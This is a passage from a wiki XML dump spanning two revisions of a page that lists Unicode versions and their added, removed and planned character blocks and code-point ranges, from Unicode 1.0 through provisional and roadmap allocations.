* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>padunchwdy9xc95tcjcczu37hyaa54z</sha1>
    </revision>
    <revision>
      <id>4670559</id>
      <parentid>4670557</parentid>
      <timestamp>2026-09-17T03:01:48Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* “Blocks” */</comment>
      <origin>4670559</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="135862" sha1="rtbwysnxwpr39kiaoq7g2zolful889t" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E800-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 1 moved character, was added.

=== Extended blocks ===
* Some more space (total 2048 characters) was added to the '''Private Use Area'''. (U+E000-U+E7FF)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard as the US, UK, and China couldn't agree on an encoding method.

=== Removed characters ===
* Lowercase historic letters and unified diacritical marks (total 7 characters)  were removed from '''Greek and Coptic'''. (U+0371-U+0372, U+0384, U+03DB, U+03DD, U+03DF, and U+03E1). U+0371 was unified with U+0314, U+0372 with U+0313, and U+0384 with U+030D.
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with U+4EDD.
* Some space (total 1536 characters) was removed from the '''Private Use Area'''. (U+F900-U+FDFF)

=== Rearranged blocks===
*'''Circled Katakana:''' ''The characters will be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Rearranged characters ===
* Non-spacing diaeresis tonos was moved from '''Greek and Coptic''' (U+0385) to '''Combining Diacritical Marks''' (U+0344)
* Non-spacing iota below was moved from '''Greek and Coptic''' (U+0370) to '''Combining Diacritical Marks''' (U+0345).
* Greek question mark was moved in '''Greek''' from U+03D7 to U+037E.
* Numeral signs were moved in '''Greek''' from U+03D8-U+03D9 to U+0374-U+0375.
* Spacing tonos and diaeresis tonos were moved in '''Greek''' from U+03F3-U+03F4 to U+0384-U+0385.
* Spacing iota below was moved in '''Greek''' from U+03F5 to U+037A.
* Point Varika was moved from '''Hebrew''' (U+05F5) to the new '''Alphabetic Presentation Forms''' block. (U+FB1E)
* Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)
*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 1 moved character, was added.

* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===
* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and letter jot (total 2 characters) were added to '''Greek and Coptic''' (U+0387 and U+03F3).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Precomposed characters and ligatures (total 56 characters) were added to '''Alphabetic Presentation Forms''' (U+FB00-U+FB06, U+FB13-U+FB17, U+FB1F-U+FB36, U+FB38-U+FB3C, U+FB3E, U+FB40-U+FB41, U+FB43-U+FB44 and U+FB46-U+FB4F).
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
